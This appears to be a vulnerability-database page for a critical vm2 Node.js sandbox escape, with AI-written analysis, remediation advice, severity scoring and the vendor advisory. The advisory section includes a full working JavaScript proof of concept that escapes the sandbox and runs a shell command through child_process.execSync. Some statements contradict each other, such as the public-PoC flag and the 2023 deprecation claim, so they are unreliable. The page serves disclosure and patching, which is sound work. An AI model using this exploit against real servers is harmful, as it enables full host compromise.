Skip to main content

vm2 CVE-2026-44006

CRITICAL
Code Injection (CWE-94)
2026-05-07 https://github.com/patriksimek/vm2 GHSA-qcp4-v2jj-fjx8
10.0
CVSS 3.1 · Vendor: https://github.com/patriksimek/vm2
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Submit crafted JavaScript to vm2 sandbox
  2. Delivery
    Trigger util.inspect with malicious stylize callback
  3. Exploit
    Leak BaseHandler.getPrototypeOf from bridge internals
  4. Install
    Traverse prototype chain to host Object constructor
  5. C2
    Extract Buffer.prototype internal symbols
  6. Execute
    Craft symbol-keyed object triggering WebAssembly.compileStreaming inspection
  7. Impact
    Execute child_process.execSync as host process
  8. Step 8
    Achieve arbitrary code execution

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the target application to execute attacker-controlled JavaScript code within a vm2 sandbox instance running on Node.js. No special vm2 configuration is required - default sandbox settings are vulnerable. The attack works against vm2's standard VM and NodeVM modes. Specific Node.js built-in modules (Buffer, util, WebAssembly) must be accessible, which is true in default vm2 configurations. Attack succeeds remotely over network if the application accepts untrusted code input via HTTP APIs, WebSocket connections, or stored user scripts. No authentication or user interaction needed beyond the ability to submit JavaScript for execution. The vendor-provided PoC demonstrates the exploit works in standard vm2 deployments without requiring non-default settings or obscure deployment configurations.

Impact

Critical real-world risk confirmed across all signals. CVSS 10.0 (maximum severity) with network attack vector, no authentication, no user interaction, and scope change reflecting full sandbox escape. Vendor-published proof-of-concept demonstrates complete compromise chain from crafted JavaScript to arbitrary shell command execution. Fixed in coordinated security release addressing 13 sandbox escape vulnerabilities simultaneously, indicating vm2's sandboxing model had systemic weaknesses. No EPSS or KEV data provided, but public PoC in vendor advisory guarantees reproduction capability. Any deployment running untrusted JavaScript code in vm2 <=3.10.5 faces immediate RCE risk - vendor explicitly states 'embedders running untrusted code should upgrade.' Attack complexity is low despite sophisticated exploit chain because PoC provides turnkey weaponization. This represents complete failure of security boundary.

Exploit ScenarioDerived

An attacker submits malicious JavaScript code to a web application that evaluates user input using vm2 for sandboxing (common in code playgrounds, serverless functions, or plugin systems). The attacker's payload creates crafted objects mimicking Buffer methods and passes a malicious stylize callback to trigger util.inspect processing. This leaks the BaseHandler, allowing prototype chain traversal to obtain host-realm constructors. The attacker then crafts an object with symbol-keyed properties that execute when WebAssembly.compileStreaming inspects it, invoking child_process.execSync to run arbitrary shell commands with the privileges of the Node.js process. The attacker achieves full server compromise, data exfiltration, or lateral movement within the infrastructure.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 07, 2026

Prototype chain manipulation in vm2 Node.js sandbox library enables complete sandbox escape and remote code execution via util.inspect handler leakage. Attackers can exploit BaseHandler.getPrototypeOf through crafted objects to access host process primitives and execute arbitrary system commands. Public exploit code exists (vendor-published PoC demonstrates child_process.execSync execution). Fixed in vm2 version 3.11.0 alongside 12 other critical sandbox escape vulnerabilities in coordinated security release.

RemediationAI

Upgrade to vm2 version 3.11.0 immediately, as confirmed in the vendor release notes at https://github.com/patriksimek/vm2/releases/tag/v3.11.0. This coordinated security release patches 13 distinct sandbox escape vulnerabilities including this prototype chain manipulation issue. No workarounds exist that maintain sandbox integrity - the underlying bridge architecture required fundamental redesign. If immediate upgrade is impossible, stop executing untrusted code in vm2 entirely and migrate to isolated-vm or OS-level sandboxing (Docker containers, VMs, gVisor). Disabling specific Node.js features is insufficient because multiple independent escape vectors existed. The new 3.11.0 release also introduces bufferAllocLimit configuration to mitigate heap exhaustion DoS attacks - review and configure this limit based on your trust model. Note that vm2 maintainers later deprecated the entire project in 2023 due to ongoing security challenges, recommending migration to isolated-vm for production use cases requiring untrusted code execution.

Affected Packages

npm vm2 fix: 3.11.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

vm2 is a JavaScript sandbox library for Node.js that isolates untrusted code execution. The vulnerability exploits the bridge mechanism between sandboxed and host realms. By chaining Buffer.prototype methods with custom objects containing a malicious stylize callback passed to util.inspect, attackers reach the internal BaseHandler's getPrototypeOf trap. This allows traversing the prototype chain to obtain host-realm Object constructor, extracting internal symbols from Buffer.prototype, then crafting objects with symbol-keyed properties that execute when WebAssembly.compileStreaming triggers internal inspection. The exploit abuses CWE-94 Improper Control of Generation of Code, specifically prototype pollution combined with constructor access to break out of the VM's realm isolation and invoke Node.js child_process APIs directly.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/patriksimek/vm2) PRIMARY 10.0 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Red Hat 10.0 HIGH

Primary rating from Vendor (https://github.com/patriksimek/vm2).

CVSS VectorVendor: https://github.com/patriksimek/vm2

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

It is possible to reach BaseHandler.getPrototypeOf, which can be used to get arbitrary prototypes

Details

https://github.com/patriksimek/vm2/blob/408fc855f1cc1bbc2985b029465ee0e732ada433/lib/bridge.js#L655-L658

BaseHandler can be reached via util.inspect (same as https://github.com/patriksimek/vm2/commit/57971fa423abeb66f09e47e18102986549474ca8)

PoC

js
let obj = {
	subarray: Buffer.prototype.inspect,
	slice: Buffer.prototype.slice,
	hexSlice: () => '',
};

let sym;

obj.slice(10, {
	showHidden: true,
	showProxy: true,
	depth: 10,
	stylize(a) {
		const handler = this.seen && this.seen[1];

		if (handler && handler.getPrototypeOf) {
			gP = handler.getPrototypeOf;
			HObjectProto = gP(gP(gP(gP(Buffer))));
			HObject = HObjectProto.constructor;
			sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);
		}
		return a;
	},
});

obj = {
	[sym]: (depth, opt, inspect) => {
		inspect.constructor('return process')()
		.getBuiltinModule('child_process')
		.execSync('id', { stdio: 'inherit' });
	},
	valueOf: undefined,
	constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});

Impact

Sandbox Escape -> RCE

Executive ViewAI

Why It Matters

CVE-2026-44006 is a critical remote code execution vulnerability in the vm2 Node.js sandbox library that allows complete bypass of sandbox isolation through prototype chain manipulation, enabling attackers to execute arbitrary system commands on affected servers. Organizations using vm2 for code isolation or sandboxing face immediate risk of full system compromise if untrusted code execution is enabled. This requires urgent remediation as public exploit code is available and the vulnerability carries a maximum CVSS score of 10.0.

Business Impact: Severe
Compensating Controls

Vendor-released patch: vm2 version 3.11.0. No interim mitigation recommended-upgrade is mandatory. If immediate upgrade is not possible, discontinue all untrusted code execution via vm2 until patched; consider disabling affected functionality or migrating to alternative sandboxing solutions.

Threat Intelligence Overview

EPSS Score
0.0%
Top 85% exploitable
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

Affected Products (CPE)CVE.org

pkg:npm/vm2

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy